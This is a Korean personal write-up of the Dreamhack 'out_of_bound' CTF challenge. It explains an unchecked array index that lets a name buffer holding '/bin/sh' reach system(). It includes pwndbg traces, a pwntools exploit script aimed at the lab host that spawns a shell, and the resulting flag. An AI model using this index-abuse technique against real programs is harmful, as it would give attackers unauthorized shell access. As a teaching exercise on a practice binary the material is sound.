읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경
$ checksec out_of_bound
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ASLR이 적용되어 있고, 바이너리에 NX, Canary가 적용되어 있다. PIE는 없다.
ASLR이 적용되어 있기 때문에, 실행 시마다 스택, 라이브러리 등의 주소가 랜덤화되고, NX가 적용되어 있기 때문에 임의의 위치에 쉘코드를 집어넣고 그 주소의 코드를 바로 실행시킬 수 없다. Canary가 적용되어 있기 때문에 스택 맨 위에 존재하는 SFP, RET와 그 뒷 주소를 마음대로 변경할 수 없다.
PIE가 적용되지 않기 때문에 바이너리가 실행되는 메모리 주소가 랜덤화되진 않는다. 따라서 데이터 영역의 변수들은 항상 정해진 주소에 할당된다.
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
분석
1. 코드 분석
name 전역 변수에 16바이트까지 원하는 값을 넣을 수 있고, 기본적으로 ls, id, ps, file ./oob의 4개의 명령어를 system 함수를 통해 쉘에서 실행시킨 결과를 얻을 수 있다. 그러나, 그 결과만으로는 플래그를 읽을 수 없으므로, out of bounds 취약점을 사용해 command[idx]에 /bin/sh\\x00이 들어가게 해보자.
2. 익스플로잇
익스플로잇
command[idx] 의 값이 "ls", "id", "ps", "file ./oob" 4개 중 하나로 정해지려면 idx에는 0 ~ 3의 값만 들어가야 합니다. 그러나 idx의 범위에 대한 검사를 진행하지 않기 때문에 음수 값을 집어넣어 command 주소보다 더 앞의 주소를 가져오거나, 3보다 큰 값을 집어넣어 "file ./oob" 가 저장된 주소보다 뒤의 주소를 가져올 수 있습니다.
따라서 Out of bound 취약점이 발생합니다. 본격적으로 "/bin/sh\\x00" 문자열을 system 함수의 인자로 전달할 방법을 살펴보겠습니다.
command와 name의 주소 확인
command와 name 전역 변수는 PIE가 꺼져 있기 때문에, 실행시마다 일정한 주소에 위치한다.
pwndbg> p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>
command는 0x804a060, name은 0x804a0ac로, 76바이트만큼 차이가 납니다.
그러면 command[idx]가 name이나 name의 한 부분을 가리키게 만들기 위해, command[idx] 연산은 어떻게 진행되는지 공부하겠습니다.
먼저 command는 char * 형으로 정의되어 있습니다. x86, 즉 32비트 환경에서 실행되는 바이너리이기 때문에 각 주소는 32비트, 또는 4바이트로 표현됩니다.
따라서 *command = command[0] = 0x804a060의 주소에 저장되어 있는 값을 가지고, command[1]은 0x804a060 + 4 = 0x804a064의 주소에 저장되어 있는 값을 가집니다.
따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 저장되어 있는 값을 가리킵니다.
system 함수에 인자 전달
그러면 name에 "/bin/sh\\x00"이 저장되어 잇는 상황에서 idx = 19를 입력해 command[19]가 name을 가리키는 상황을 생각해보자.
...
0x08048727 <+92>: push 0x8048832
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
0x08048747 <+124>: add esp,0x10
0x0804874a <+127>: mov eax,0x0
0x0804874f <+132>: mov edx,DWORD PTR [ebp-0xc]
0x08048752 <+135>: xor edx,DWORD PTR gs:0x14
0x08048759 <+142>: je 0x8048760 <main+149>
0x0804875b <+144>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048760 <+149>: mov ecx,DWORD PTR [ebp-0x4]
0x08048763 <+152>: leave
0x08048764 <+153>: lea esp,[ecx-0x4]
0x08048767 <+156>: ret
End of assembler dump.
pwndbg> b *main + 119
Breakpoint 1 at 0x8048742
system 함수 호출 직전에 breakpoint를 걸고, 위에서 설정한 대로 입력을 진행해보자.
pwndbg> r
Starting program: /home/jerry/bound/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: /bin/sh
What do you want?: 19
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX 0x6e69622f ('/bin')
*EBX 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*ECX 0xffffbc24 —▸ 0xffffbc38 ◂— 0x13
EDX 0x0
*EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI 0xffffbd14 —▸ 0xffffbf6f ◂— '/home/jerry/bound/out_of_bound'
*EBP 0xffffbc48 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP 0xffffbc20 ◂— 0x6e69622f ('/bin')
*EIP 0x8048742 (main+119) —▸ 0xfffdb9e8 ◂— 0x0
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
► 0x8048742 <main+119> call system@plt <system@plt>
command: 0x6e69622f ('/bin')
system 함수에 인자로 EAX 레지스터의 값인 "/bin"이 들어간다. 올바르게 진행되기 위해서는 "/bin/sh\\x00" 문자열 자체가 아닌, "/bin/sh\\x00" 문자열이 저장되어있는 주소가 인자로 들어가야 한다.
따라서 EAX에는 name의 주소인 0x804a0xac가 들어가야 한다.
payload 작성
name에 8바이트의 "/bin/sh\\x00" 을 넣은 후, pwntools의 p32 함수를 사용해 만든 0x804a0xac를 붙여 총 12바이트를 저장한다.
그렇게 되면 name + 8이 가지는 값이 0x804a0xac이 되고, command[19 + 2] = *(name + 8) = 0x804a0ac 의 값을 가지게 된다.system(0x804a0ac)를 실행하면 0x804a0xac 주소, 즉 name에 있는 "/bin/sh\\x00"를 실행시킬 수 있게 된다. 전송해야 하는 idx의 값은 19가 아닌 19 + 2 = 21임에 유의하여 솔브 코드를 작성해보자.
익스플로잇 코드
from pwn import *
p = remote("host3.dreamhack.games", 18187)
payload = b"/bin/sh\\x00" + p32(0x804a0ac)
p.sendline(payload)
p.sendline(b"21")
p.interactive()
요약
이번 글에서는 임의의 주소에 접근할 수 있는 out of bounds 취약점에 대해 알아봤다. C 언어는 기본적으로 인덱스에 대한 검사를 진행하지 않기 때문에, out of bound 취약점이 발생하지 않기 위해서는 인덱스 검ㅁ사를 미리 진행해줘야한다. 또한 문자열이 함수의 인자로 전달되는 과정에 문자열 자체가 아닌 문자열을 가리키는 주소, 다른 말로 포인터를 전달해야 함을 알아봤다.
결과
$ python3 out_of_bound.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/ubuntu/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.12.0)
[+] Opening connection to host3.dreamhack.games on port 11210: Done
[*] Switching to interactive mode
Admin name: What do you want?: $ ls
flag
out_of_bound
$ cat flag
DH{2524e20ddeee45f11c8eb91804d57296}
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
다음 글